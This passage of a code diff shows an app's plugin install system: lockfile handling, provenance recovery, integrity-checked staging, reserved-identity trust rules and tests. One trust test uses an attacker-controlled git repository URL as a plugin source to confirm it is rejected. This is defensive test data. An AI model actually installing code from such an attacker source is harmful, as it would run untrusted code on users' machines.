set: (key, itemKey, value) =>
new PluginKvStore(pluginsDataDir, key, 'settings.json').set(itemKey, value)
},
subscribeEvents
}
}

View File

@ -0,0 +1,83 @@
import { createReadStream } from 'node:fs'
import { mkdir } from 'node:fs/promises'
import { join } from 'node:path'
import {
emptyPluginLockfile,
parsePluginLockfile,
serializePluginLockfile,
type PluginLockfile
} from '../../shared/plugins/plugin-install-lockfile'
import { writePluginFileAtomically } from './plugin-atomic-file-write'
import { recoverPluginLockfile } from './plugin-install-provenance'
export const PLUGIN_LOCKFILE_MAX_BYTES = 5 * 1024 * 1024
const lockfileAccessChains = new Map<string, Promise<void>>()
export function pluginLockfilePath(pluginsDir: string): string {
return join(pluginsDir, 'plugins.lock.json')
}
async function serializeLockfileAccess<T>(
pluginsDir: string,
operation: () => Promise<T>
): Promise<T> {
const previous = lockfileAccessChains.get(pluginsDir) ?? Promise.resolve()
const run = previous.catch(() => undefined).then(operation)
const settled = run.then(
() => undefined,
() => undefined
)
lockfileAccessChains.set(pluginsDir, settled)
try {
return await run
} finally {
if (lockfileAccessChains.get(pluginsDir) === settled) {
lockfileAccessChains.delete(pluginsDir)
}
}
}
/** Reads the install index through a byte cap so a corrupt local file cannot
* turn every plugin-list refresh into an unbounded main-process allocation. */
export async function readPluginLockfile(pluginsDir: string): Promise<PluginLockfile> {
return serializeLockfileAccess(pluginsDir, () => readPluginLockfileUnserialized(pluginsDir))
}
async function readPluginLockfileUnserialized(pluginsDir: string): Promise<PluginLockfile> {
let lock = emptyPluginLockfile()
try {
const chunks: Buffer[] = []
let totalBytes = 0
for await (const chunk of createReadStream(pluginLockfilePath(pluginsDir))) {
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
totalBytes += bytes.byteLength
if (totalBytes > PLUGIN_LOCKFILE_MAX_BYTES) {
throw new Error('plugin lockfile exceeds its size limit')
}
chunks.push(bytes)
}
lock = parsePluginLockfile(JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')))
} catch {
// Missing/corrupt global indexes can be reconstructed from current-version provenance.
}
const recovered = await recoverPluginLockfile(pluginsDir, lock)
if (recovered.changed) {
await writePluginLockfileUnserialized(pluginsDir, recovered.lock).catch(() => undefined)
}
return recovered.lock
}
export async function writePluginLockfile(pluginsDir: string, lock: PluginLockfile): Promise<void> {
await serializeLockfileAccess(pluginsDir, () => writePluginLockfileUnserialized(pluginsDir, lock))
}
async function writePluginLockfileUnserialized(
pluginsDir: string,
lock: PluginLockfile
): Promise<void> {
await mkdir(pluginsDir, { recursive: true })
await writePluginFileAtomically(
pluginLockfilePath(pluginsDir),
JSON.stringify(serializePluginLockfile(lock), null, 2)
)
}

View File

@ -0,0 +1,118 @@
import { createReadStream } from 'node:fs'
import { mkdir, readdir, rm } from 'node:fs/promises'
import { join } from 'node:path'
import {
PLUGIN_CONTENT_HASH_PATTERN,
pluginLockEntrySchema,
type PluginLockEntry,
type PluginLockfile
} from '../../shared/plugins/plugin-install-lockfile'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import { writePluginFileAtomically } from './plugin-atomic-file-write'
import { readPluginCurrentPointer } from './plugin-current-pointer'
const PROVENANCE_DIRECTORY = '.install-provenance'
const PROVENANCE_MAX_BYTES = 64 * 1024
function provenancePath(pluginDir: string, contentHash: string): string {
if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
throw new Error('invalid plugin content hash')
}
return join(pluginDir, PROVENANCE_DIRECTORY, `${contentHash}.json`)
}
/** Prewrites immutable provenance before the executable current pointer moves. */
export async function writePluginInstallProvenance(
pluginDir: string,
entry: PluginLockEntry
): Promise<void> {
const parsedEntry = pluginLockEntrySchema.parse(entry)
const directory = join(pluginDir, PROVENANCE_DIRECTORY)
await mkdir(directory, { recursive: true, mode: 0o700 })
await writePluginFileAtomically(
provenancePath(pluginDir, parsedEntry.contentHash),
JSON.stringify({ version: 1, entry: parsedEntry }, null, 2),
{ mode: 0o600 }
)
}
export async function readPluginInstallProvenance(
pluginDir: string,
contentHash: string
): Promise<PluginLockEntry | null> {
try {
const chunks: Buffer[] = []
let totalBytes = 0
for await (const chunk of createReadStream(provenancePath(pluginDir, contentHash))) {
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
totalBytes += bytes.byteLength
if (totalBytes > PROVENANCE_MAX_BYTES) {
return null
}
chunks.push(bytes)
}
const raw = JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')) as {
version?: unknown
entry?: unknown
}
if (raw.version !== 1) {
return null
}
const parsed = pluginLockEntrySchema.safeParse(raw.entry)
return parsed.success ? parsed.data : null
} catch {
return null
}
}
/** Repairs a pointer-new/lock-old interrupted publication from immutable provenance. */
export async function recoverPluginLockfile(
pluginsDir: string,
lock: PluginLockfile
): Promise<{ lock: PluginLockfile; changed: boolean }> {
const plugins = { ...lock.plugins }
let changed = false
const directories = await readdir(pluginsDir, { withFileTypes: true }).catch(() => [])
for (const directory of directories) {
if (!directory.isDirectory() || !isQualifiedPluginKey(directory.name)) {
continue
}
const pluginDir = join(pluginsDir, directory.name)
const contentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
if (!contentHash || !PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
continue
}
const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
if (
!provenance ||
provenance.pluginKey !== directory.name ||
provenance.contentHash !== contentHash
) {
continue
}
if (JSON.stringify(plugins[directory.name]) !== JSON.stringify(provenance)) {
plugins[directory.name] = provenance
changed = true
}
}
return { lock: { version: 1, plugins }, changed }
}
export async function prunePluginInstallProvenance(
pluginDir: string,
retained: ReadonlySet<string>
): Promise<void> {
const directory = join(pluginDir, PROVENANCE_DIRECTORY)
const entries = await readdir(directory, { withFileTypes: true }).catch(() => [])
await Promise.all(
entries
.filter(
(entry) =>
entry.isFile() &&
entry.name.endsWith('.json') &&
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name.slice(0, -'.json'.length)) &&
!retained.has(entry.name.slice(0, -'.json'.length))
)
.map((entry) => rm(join(directory, entry.name), { force: true }))
)
}

View File

@ -0,0 +1,94 @@
import { readdir, rm } from 'node:fs/promises'
import { join } from 'node:path'
import {
PLUGIN_CONTENT_HASH_PATTERN,
upsertPluginLock,
type PluginLockEntry
} from '../../shared/plugins/plugin-install-lockfile'
import {
readPluginCurrentPointer,
restorePluginCurrentPointer,
writePluginCurrentPointer
} from './plugin-current-pointer'
import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
import {
prunePluginInstallProvenance,
readPluginInstallProvenance,
writePluginInstallProvenance
} from './plugin-install-provenance'
/** Publishes executable identity and provenance as one recoverable mutation,
* then retains only current plus one rollback version. */
export async function publishPluginInstall(input: {
pluginsDir: string
pluginDir: string
entry: PluginLockEntry
}): Promise<void> {
const previousContentHash = await readPluginCurrentPointer(input.pluginDir)
const currentLock = await readPluginLockfile(input.pluginsDir)
const provenanceCandidate =
previousContentHash === input.entry.contentHash
? await readPluginInstallProvenance(input.pluginDir, input.entry.contentHash)
: null
const matchesCurrentIdentity = (entry: PluginLockEntry | undefined | null): boolean =>
entry?.pluginKey === input.entry.pluginKey && entry.contentHash === input.entry.contentHash
const existingProvenance = matchesCurrentIdentity(provenanceCandidate)
? provenanceCandidate
: null
const legacyLockEntry = currentLock.plugins[input.entry.pluginKey]
const legacyCurrentEntry =
previousContentHash === input.entry.contentHash && matchesCurrentIdentity(legacyLockEntry)
? legacyLockEntry
: null
// Provenance is immutable per executable identity. A same-byte reinstall
// is a no-op so a failed or interrupted source change cannot be recovered
// later as though it had successfully published.
const publishedEntry = existingProvenance ?? legacyCurrentEntry ?? input.entry
const nextLock = upsertPluginLock(currentLock, publishedEntry)
// Why: after a crash between pointer and global-index publication, startup
// can reconstruct exact source/commit identity from this immutable record.
if (!existingProvenance) {
await writePluginInstallProvenance(input.pluginDir, publishedEntry)
}
await writePluginCurrentPointer(input.pluginDir, input.entry.contentHash)
try {
await writePluginLockfile(input.pluginsDir, nextLock)
} catch (publicationError) {
try {
await restorePluginCurrentPointer(input.pluginDir, previousContentHash)
} catch (rollbackError) {
throw new AggregateError(
[publicationError, rollbackError],
'plugin install publication and pointer rollback both failed'
)
}
throw publicationError
}
// Reinstalling B must not collapse an existing A rollback into {B}.
if (previousContentHash !== input.entry.contentHash) {
await pruneHistoricalVersions(
input.pluginDir,
new Set(
[input.entry.contentHash, previousContentHash].filter(
(hash): hash is string =>
typeof hash === 'string' && PLUGIN_CONTENT_HASH_PATTERN.test(hash)
)
)
).catch(() => undefined)
}
}
async function pruneHistoricalVersions(pluginDir: string, retained: ReadonlySet<string>) {
const entries = await readdir(pluginDir, { withFileTypes: true })
await Promise.all(
entries
.filter(
(entry) =>
entry.isDirectory() &&
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
!retained.has(entry.name)
)
.map((entry) => rm(join(pluginDir, entry.name), { recursive: true, force: true }))
)
await prunePluginInstallProvenance(pluginDir, retained)
}

View File

@ -0,0 +1,253 @@
import { existsSync } from 'node:fs'
import { cp, mkdir, rm } from 'node:fs/promises'
import { join, relative, resolve, sep } from 'node:path'
import {
PLUGIN_MANIFEST_FILENAME,
parsePluginManifest,
qualifiedPluginKey,
satisfiesOrcaEngineRange,
type PluginManifest
} from '../../shared/plugins/plugin-manifest'
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
import type {
PluginInstallSource,
PluginLockEntry
} from '../../shared/plugins/plugin-install-lockfile'
import {
validateDeclaredPluginArtifacts,
validatePluginInstallContent,
type PluginArtifactValidationResult
} from './plugin-artifact-validation'
import { renamePluginFileWithWindowsRetry } from './plugin-atomic-file-write'
import { hashPluginTree } from './plugin-content-hash'
import { publishPluginInstall } from './plugin-install-publication'
import { readPluginManifestText } from './plugin-manifest-file'
import { pluginInstallTrustError } from './plugin-install-trust'
export type PluginInstallResult =
| {
ok: true
pluginKey: string
version: string
contentHash: string
consentFingerprint: string
resolvedCommit: string | null
}
| { ok: false; error: string }
export type PluginInstallInspection =
| {
ok: true
manifest: PluginManifest
pluginKey: string
contentHash: string
consentFingerprint: string
}
| { ok: false; error: string }
async function validatePluginInstallTree(
rootDir: string,
manifest: PluginManifest
): Promise<PluginArtifactValidationResult> {
const declared = await validateDeclaredPluginArtifacts(rootDir, manifest)
return declared.ok ? validatePluginInstallContent(rootDir, manifest) : declared
}
async function readInstallManifest(
rootDir: string,
hostVersion: string
): Promise<{ ok: true; manifest: PluginManifest } | { ok: false; error: string }> {
let raw: unknown
try {
raw = JSON.parse(await readPluginManifestText(rootDir))
} catch (error) {
return {
ok: false,
error: `unreadable ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`
}
}
const parsed = parsePluginManifest(raw)
if (!parsed.ok) {
return { ok: false, error: `invalid manifest: ${parsed.error}` }
}
if (!satisfiesOrcaEngineRange(hostVersion, parsed.manifest.engines.orca)) {
return {
ok: false,
error: `plugin requires Orca ${parsed.manifest.engines.orca} (this is ${hostVersion})`
}
}
return { ok: true, manifest: parsed.manifest }
}
/** Validates and hashes a source tree without publishing it. Marketplace
* previews use this exact path so the reviewed bytes match install policy. */
export async function inspectPluginInstallTree(input: {
rootDir: string
hostVersion: string
expectedPluginKey?: string
}): Promise<PluginInstallInspection> {
const sourceManifest = await readInstallManifest(input.rootDir, input.hostVersion)
if (!sourceManifest.ok) {
return sourceManifest
}
const pluginKey = qualifiedPluginKey(sourceManifest.manifest)
if (input.expectedPluginKey && pluginKey !== input.expectedPluginKey) {
return {
ok: false,
error: `plugin manifest identity ${pluginKey} does not match marketplace listing ${input.expectedPluginKey}`
}
}
const declaredArtifacts = await validatePluginInstallTree(input.rootDir, sourceManifest.manifest)
if (!declaredArtifacts.ok) {
return { ok: false, error: `invalid declared artifact: ${declaredArtifacts.error}` }
}
const treeHash = await hashPluginTree(input.rootDir)
if (!treeHash.ok) {
return { ok: false, error: treeHash.error }
}
return {
ok: true,
manifest: sourceManifest.manifest,
pluginKey,
contentHash: treeHash.hash,
consentFingerprint: fingerprintPluginConsent(sourceManifest.manifest, treeHash.hash)
}
}
/** Installs a validated staging tree into the hash-addressed layout. */
export async function installStagedPluginTree(input: {
pluginsDir: string
stagingDir: string
hostVersion: string
source: PluginInstallSource
resolvedCommit: string | null
expectedPluginKey?: string
/** Trusted bundled bytes may restore an immutable directory damaged on disk. */
repairCorruptedVersion?: boolean
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
const sourceInspection = await inspectPluginInstallTree({
rootDir: input.stagingDir,
hostVersion: input.hostVersion,
...(input.expectedPluginKey ? { expectedPluginKey: input.expectedPluginKey } : {})
})
if (!sourceInspection.ok) {
return sourceInspection
}
const trustError = pluginInstallTrustError(sourceInspection.pluginKey, input.source)
if (trustError) {
return { ok: false, error: trustError }
}
const blockedReason = input.blockedPluginReason?.(sourceInspection.pluginKey)
if (blockedReason) {
return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
}
let manifest = sourceInspection.manifest
const pluginKey = sourceInspection.pluginKey
const pluginDir = join(input.pluginsDir, pluginKey)
const versionDir = join(pluginDir, sourceInspection.contentHash)
if (existsSync(versionDir) && input.repairCorruptedVersion) {
const existingHash = await hashPluginTree(versionDir)
if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
// Why: bundled resources are release-index verified above, so they can
// safely restore a damaged immutable install instead of staying broken.
await rm(versionDir, { recursive: true, force: true })
}
}
if (!existsSync(versionDir)) {
const stagedVersionDir = `${versionDir}.staging`
try {
await rm(stagedVersionDir, { recursive: true, force: true })
await mkdir(pluginDir, { recursive: true })
// Source trees can change while copying. Hashing the destination closes
// that race before the immutable directory becomes current.
const stagingRoot = resolve(input.stagingDir)
await cp(stagingRoot, stagedVersionDir, {
recursive: true,
verbatimSymlinks: true,
// Source-control metadata is not plugin content. Skip it at the copy
// boundary so a large local repository cannot bypass install limits.
filter: (source) => {
const fromRoot = relative(stagingRoot, resolve(source))
return fromRoot !== '.git' && !fromRoot.startsWith(`.git${sep}`)
}
})
const copiedHash = await hashPluginTree(stagedVersionDir)
if (!copiedHash.ok || copiedHash.hash !== sourceInspection.contentHash) {
return {
ok: false,
error: copiedHash.ok
? 'plugin content changed while it was being copied'
: copiedHash.error
}
}
const copiedManifest = await readInstallManifest(stagedVersionDir, input.hostVersion)
if (!copiedManifest.ok) {
return { ok: false, error: `copied ${copiedManifest.error}` }
}
if (qualifiedPluginKey(copiedManifest.manifest) !== pluginKey) {
return { ok: false, error: 'plugin manifest identity changed while it was being staged' }
}
manifest = copiedManifest.manifest
const copiedArtifacts = await validatePluginInstallTree(stagedVersionDir, manifest)
if (!copiedArtifacts.ok) {
return { ok: false, error: `copied artifact validation failed: ${copiedArtifacts.error}` }
}
await renamePluginFileWithWindowsRetry(stagedVersionDir, versionDir)
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
} finally {
await rm(stagedVersionDir, { recursive: true, force: true })
}
} else {
// Never repoint at an existing hash directory without proving its bytes;
// a previous partial/tampered install must not be revived by reinstall.
const existingHash = await hashPluginTree(versionDir)
if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
return {
ok: false,
error: existingHash.ok
? 'existing plugin content failed integrity verification'
: existingHash.error
}
}
const existingManifest = await readInstallManifest(versionDir, input.hostVersion)
if (!existingManifest.ok) {
return { ok: false, error: `installed ${existingManifest.error}` }
}
if (qualifiedPluginKey(existingManifest.manifest) !== pluginKey) {
return { ok: false, error: 'installed plugin manifest identity does not match its directory' }
}
manifest = existingManifest.manifest
const existingArtifacts = await validatePluginInstallTree(versionDir, manifest)
if (!existingArtifacts.ok) {
return {
ok: false,
error: `installed artifact validation failed: ${existingArtifacts.error}`
}
}
}
const consentFingerprint = fingerprintPluginConsent(manifest, sourceInspection.contentHash)
const entry: PluginLockEntry = {
pluginKey,
version: manifest.version,
source: input.source,
resolvedCommit: input.resolvedCommit,
contentHash: sourceInspection.contentHash,
consentFingerprint,
installedAt: Date.now()
}
try {
await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry })
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
}
return {
ok: true,
pluginKey,
version: manifest.version,
contentHash: sourceInspection.contentHash,
consentFingerprint,
resolvedCommit: input.resolvedCommit
}
}

View File

@ -0,0 +1,115 @@
import { mkdtemp, rm, writeFile } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it } from 'vitest'
import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
import {
installBundledPlugin,
installPluginFromLocalPath,
readPluginLockfile
} from './plugin-install'
import { pluginInstallTrustError } from './plugin-install-trust'
const roots: string[] = []
async function tempRoot(prefix: string): Promise<string> {
const root = await mkdtemp(join(tmpdir(), prefix))
roots.push(root)
return root
}
async function writePlugin(root: string, publisher: string, id: string): Promise<void> {
await writeFile(
join(root, 'orca-plugin.json'),
JSON.stringify({
manifestVersion: 1,
id,
publisher,
name: 'Plugin',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
capabilities: []
})
)
}
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('plugin install trust', () => {
it.each<[PluginInstallSource, string | null]>([
[
{
kind: 'git',
url: 'https://github.com/attacker/orca-secrets.git',
ref: 'main'
},
'reserved plugin identity community.orca-secrets must resolve to the stablyai organization'
],
[
{
kind: 'git',
url: 'git@github.com:stablyai/orca-secrets.git',
ref: 'main'
},
null
]
])('enforces reserved source organization', (source, expected) => {
expect(pluginInstallTrustError('community.orca-secrets', source)).toBe(expected)
})
it('rejects locally installed reserved identities before publication', async () => {
const sourcePath = await tempRoot('orca-reserved-plugin-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePlugin(sourcePath, 'stablyai', 'orca-skills')
await expect(
installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
).resolves.toEqual({
ok: false,
error: 'reserved plugin identity stablyai.orca-skills cannot be installed from a local path'
})
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
})
it('allows the app-bundled path only for the complete official identity', async () => {
const sourcePath = await tempRoot('orca-bundled-plugin-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePlugin(sourcePath, 'stablyai', 'orca-skills')
const result = await installBundledPlugin({
pluginsDir,
sourcePath,
hostVersion: '1.4.0',
expectedPluginKey: 'stablyai.orca-skills'
})
expect(result).toMatchObject({ ok: true, pluginKey: 'stablyai.orca-skills' })
const lock = await readPluginLockfile(pluginsDir)
expect(lock.plugins['stablyai.orca-skills']?.source).toEqual({
kind: 'bundled',
bundleId: 'stablyai.orca-skills'
})
})
it('blocks a killed plugin even when the caller bypasses marketplace UI', async () => {
const sourcePath = await tempRoot('orca-killed-plugin-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePlugin(sourcePath, 'community', 'unsafe')
await expect(
installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0',
blockedPluginReason: (pluginKey) =>
pluginKey === 'community.unsafe' ? 'Security incident' : null
})
).resolves.toEqual({
ok: false,
error: "plugin is blocked by Orca's safety list: Security incident"
})
})
})

View File

@ -0,0 +1,27 @@
import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
import {
isOfficialOrganizationGitSource,
isOfficialPluginIdentity,
isReservedPluginIdentity
} from '../../shared/plugins/plugin-marketplace'
export function pluginInstallTrustError(
pluginKey: string,
source: PluginInstallSource
): string | null {
if (source.kind === 'bundled') {
return source.bundleId === pluginKey && isOfficialPluginIdentity(pluginKey)
? null
: 'bundled plugins must use an official stablyai.orca-* identity'
}
if (!isReservedPluginIdentity(pluginKey)) {
return null
}
if (source.kind === 'local-path') {
return `reserved plugin identity ${pluginKey} cannot be installed from a local path`
}
const url = source.kind === 'git' ? source.url : source.plugin.url
return isOfficialOrganizationGitSource(url)
? null
: `reserved plugin identity ${pluginKey} must resolve to the stablyai organization`
}

View File

@ -0,0 +1,531 @@
import { execFile } from 'node:child_process'
import {
mkdtemp,
mkdir,
readFile,
readdir,
rm,
symlink,
truncate,
writeFile
} from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { pathToFileURL } from 'node:url'
import { promisify } from 'node:util'
import { afterEach, describe, expect, it, vi } from 'vitest'
import {
installPluginFromLocalPath,
installPluginFromGit,
PLUGIN_LOCKFILE_MAX_BYTES,
readPluginLockfile,
removeInstalledPlugin
} from './plugin-install'
import { PLUGIN_MANIFEST_MAX_BYTES } from './plugin-manifest-file'
import { readPluginCurrentPointer } from './plugin-current-pointer'
import { writePluginLockfile } from './plugin-install-lockfile-store'
import { installStagedPluginTree } from './plugin-install-staging'
import * as manifestFile from './plugin-manifest-file'
const roots: string[] = []
const execFileAsync = promisify(execFile)
async function tempRoot(prefix: string): Promise<string> {
const root = await mkdtemp(join(tmpdir(), prefix))
roots.push(root)
return root
}
async function writePluginSource(
root: string,
options: { id?: string; panelEntry?: string; includePanel?: boolean } = {}
): Promise<void> {
const panelEntry = options.panelEntry ?? 'panel.html'
await writeFile(
join(root, 'orca-plugin.json'),
JSON.stringify({
manifestVersion: 1,
id: options.id ?? 'demo',
publisher: 'orca-samples',
name: 'Demo',
version: '1.0.0',
engines: { orca: '>=1.0.0' },
pluginApi: 1,
contributes: {
panels: [{ id: 'panel', title: 'Panel', entry: panelEntry }],
commands: [],
events: []
},
capabilities: []
})
)
if (options.includePanel !== false) {
await writeFile(join(root, panelEntry), '<h1>Panel</h1>')
}
}
afterEach(async () => {
vi.restoreAllMocks()
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('installPluginFromLocalPath', () => {
it('refuses to allocate an oversized install lockfile', async () => {
const pluginsDir = await tempRoot('orca-plugin-installs-')
const lockPath = join(pluginsDir, 'plugins.lock.json')
await writeFile(lockPath, '')
await truncate(lockPath, PLUGIN_LOCKFILE_MAX_BYTES + 1)
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
})
it('verifies copied content and writes a rollback-compatible consent field', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result.ok).toBe(true)
if (!result.ok) {
return
}
await expect(
readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
).resolves.toBe('<h1>Panel</h1>')
const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
plugins: Record<string, Record<string, unknown>>
}
expect(lock.plugins[result.pluginKey]).toMatchObject({
capabilityHash: result.consentFingerprint
})
expect(lock.plugins[result.pluginKey]).not.toHaveProperty('consentFingerprint')
})
it('publishes metadata from the copied immutable manifest', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const firstManifest = await readFile(join(sourcePath, 'orca-plugin.json'), 'utf8')
const changedManifest = {
...(JSON.parse(firstManifest) as Record<string, unknown>),
name: 'Changed During Staging',
version: '2.0.0'
}
await writeFile(join(sourcePath, 'orca-plugin.json'), JSON.stringify(changedManifest))
const manifestRead = vi
.spyOn(manifestFile, 'readPluginManifestText')
.mockResolvedValueOnce(firstManifest)
const result = await installStagedPluginTree({
pluginsDir,
stagingDir: sourcePath,
hostVersion: '1.4.0',
source: { kind: 'local-path', path: sourcePath },
resolvedCommit: null
})
expect(manifestRead).toHaveBeenCalledTimes(2)
expect(result).toMatchObject({ ok: true, version: '2.0.0' })
if (result.ok) {
const lock = await readPluginLockfile(pluginsDir)
expect(lock.plugins[result.pluginKey]?.version).toBe('2.0.0')
}
})
it('skips root Git metadata before copying while still enforcing plugin limits', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const gitDir = join(sourcePath, '.git')
await mkdir(gitDir)
await writeFile(join(gitDir, 'large.pack'), '')
await truncate(join(gitDir, 'large.pack'), 50 * 1024 * 1024 + 1)
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result).toMatchObject({ ok: true })
if (result.ok) {
await expect(
readFile(join(pluginsDir, result.pluginKey, result.contentHash, '.git', 'large.pack'))
).rejects.toMatchObject({ code: 'ENOENT' })
}
})
it('restores the previous current pointer when lockfile publication fails', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
expect(first.ok).toBe(true)
if (!first.ok) {
return
}
await writeFile(join(sourcePath, 'panel.html'), '<h1>Updated</h1>')
await rm(join(pluginsDir, 'plugins.lock.json'))
await mkdir(join(pluginsDir, 'plugins.lock.json'))
const failed = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(failed).toMatchObject({ ok: false })
await expect(readPluginCurrentPointer(join(pluginsDir, first.pluginKey))).resolves.toBe(
first.contentHash
)
})
it('does not replace provenance when a same-content reinstall fails to publish', async () => {
const firstSource = await tempRoot('orca-plugin-source-')
const secondSource = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(firstSource)
await writePluginSource(secondSource)
const first = await installPluginFromLocalPath({
pluginsDir,
sourcePath: firstSource,
hostVersion: '1.4.0'
})
expect(first.ok).toBe(true)
if (!first.ok) {
return
}
const acceptedLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
await rm(join(pluginsDir, 'plugins.lock.json'))
await mkdir(join(pluginsDir, 'plugins.lock.json'))
const failed = await installPluginFromLocalPath({
pluginsDir,
sourcePath: secondSource,
hostVersion: '1.4.0'
})
expect(failed).toMatchObject({ ok: false })
await rm(join(pluginsDir, 'plugins.lock.json'), { recursive: true })
await writeFile(join(pluginsDir, 'plugins.lock.json'), acceptedLock)
const recovered = await readPluginLockfile(pluginsDir)
expect(recovered.plugins[first.pluginKey]?.source).toEqual({
kind: 'local-path',
path: firstSource
})
})
it('preserves legacy lock provenance during a same-content reinstall', async () => {
const firstSource = await tempRoot('orca-plugin-source-')
const secondSource = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(firstSource)
await writePluginSource(secondSource)
const first = await installPluginFromLocalPath({
pluginsDir,
sourcePath: firstSource,
hostVersion: '1.4.0'
})
expect(first.ok).toBe(true)
if (!first.ok) {
return
}
await rm(join(pluginsDir, first.pluginKey, '.install-provenance', `${first.contentHash}.json`))
const reinstalled = await installPluginFromLocalPath({
pluginsDir,
sourcePath: secondSource,
hostVersion: '1.4.0'
})
expect(reinstalled).toMatchObject({ ok: true })
// Recovery from the newly backfilled provenance must retain the accepted
// legacy source rather than the same-byte reinstall's alternate source.
await rm(join(pluginsDir, 'plugins.lock.json'))
const recovered = await readPluginLockfile(pluginsDir)
expect(recovered.plugins[first.pluginKey]?.source).toEqual({
kind: 'local-path',
path: firstSource
})
})
it('retains only the current and immediately previous content versions', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const hashes: string[] = []
for (const content of ['one', 'two', 'three']) {
await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result.ok).toBe(true)
if (result.ok) {
hashes.push(result.contentHash)
}
}
const versionDirs = (
await readdir(join(pluginsDir, 'orca-samples.demo'), {
withFileTypes: true
})
)
.filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
.map((entry) => entry.name)
.sort()
expect(versionDirs).toEqual(hashes.slice(-2).sort())
})
it('keeps the rollback version when current content is reinstalled', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const hashes: string[] = []
for (const content of ['one', 'two', 'two']) {
await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result.ok).toBe(true)
if (result.ok) {
hashes.push(result.contentHash)
}
}
const versionDirs = (
await readdir(join(pluginsDir, 'orca-samples.demo'), { withFileTypes: true })
)
.filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
.map((entry) => entry.name)
.sort()
expect(versionDirs).toEqual([...new Set(hashes)].sort())
})
it('repairs a pointer-new lock-old interrupted publication from provenance', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
expect(first.ok).toBe(true)
const oldLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
await writeFile(join(sourcePath, 'panel.html'), '<h1>new current</h1>')
const second = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(second.ok).toBe(true)
if (!first.ok || !second.ok) {
return
}
await writeFile(join(pluginsDir, 'plugins.lock.json'), oldLock)
const repaired = await readPluginLockfile(pluginsDir)
